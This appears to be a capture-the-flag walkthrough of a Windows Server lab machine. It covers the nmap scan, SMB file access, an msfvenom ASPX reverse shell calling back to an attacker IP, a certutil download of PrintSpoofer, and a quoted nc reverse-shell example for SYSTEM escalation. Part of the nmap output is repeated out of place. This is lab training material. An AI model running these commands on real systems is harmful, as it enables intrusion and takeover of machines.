IFORGOTTEN

Difficulty: Medium
Score: 6/10


Target

  1. 2 flags
  2. root privilege

Process

Enumeration

Nmap Scan

# Nmap 7.92 scan initiated Tue Jan 25 22:44:52 2022 as: nmap -p139,135,80,445,3389,49663,49669,49667 -sV -sC -T4 -Pn -oA 10.10.242.74 10.10.242.74
Nmap scan report for 10.10.242.74
Host is up (0.23s latency).
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Windows Server 2016 Standard Evaluation 14393 microsoft-ds
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: RELEVANT
|   NetBIOS_Domain_Name: RELEVANT
|   NetBIOS_Computer_Name: RELEVANT
|   DNS_Domain_Name: Relevant
|   DNS_Computer_Name: Relevant
|   Product_Version: 10.0.14393
|_  System_Time: 2022-01-26T03:46:11+00:00
|_ssl-date: 2022-01-26T03:46:50+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=Relevant
| Not valid before: 2022-01-25T03:23:53
|_Not valid after:  2022-07-27T03:23:53
49663/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: IIS Windows Server
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1h36m02s, deviation: 3h34m41s, median: 1s
| smb2-time:
|   date: 2022-01-26T03:46:12
|_  start_date: 2022-01-26T03:24:15
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
| smb-os-discovery:
|   OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
|   Computer name: Relevant
|   NetBIOS computer name: RELEVANT\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2022-01-25T19:46:14-08:00
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jan 25 22:46:48 2022 -- 1 IP address (1 host up) scanned in 116.28 seconds

Smbclient infomation collection

smbclient check

Get the password.txt file



cyberchef
It can load the file, we can upload the reverse_shell

But we cannot upload the php-reverse-shell

49663/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: IIS Windows Server
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

we can upload the aspx-shell

msfvenom  -p windows/x64/shell_reverse_tcp LHOST=10.11.61.17 LPORT=4445  -f aspx> shell.aspx

Privilege Escalation

SeImpersonatePrivilege

It is very similar to SeImpersonatePrivilege, it will use the same method to get a privileged token.
Then, this privilege allows to assign a primary token to a new/suspended process. With the privileged impersonation token you can derivate a primary token (DuplicateTokenEx).

We can use printspoofer

https://github.com/dievus/printspoofer
upload the binary exe and execute it

certutil -urlcache -f http://10.11.61.17/PrintSpoofer.exe shell.exe
shell.exe -h
PrintSpoofer v0.1 (by @itm4n)
  Provided that the current user has the SeImpersonate privilege, this tool will leverage the Print
  Spooler service to get a SYSTEM token and then run a custom command with CreateProcessAsUser()
Arguments:
  -c <CMD>    Execute the command *CMD*
  -i          Interact with the new process in the current command prompt (default is non-interactive)
  -d <ID>     Spawn a new process on the desktop corresponding to this session *ID* (check your ID with qwinsta)
  -h          That's me :)
Examples:
  - Run PowerShell as SYSTEM in the current console
      PrintSpoofer.exe -i -c powershell.exe
  - Spawn a SYSTEM command prompt on the desktop of the session 1
      PrintSpoofer.exe -d 1 -c cmd.exe
  - Get a SYSTEM reverse shell
      PrintSpoofer.exe -c "c:\Temp\nc.exe 10.10.13.37 1337 -e cmd"
shell.exe -i -c cmd.exe

Summary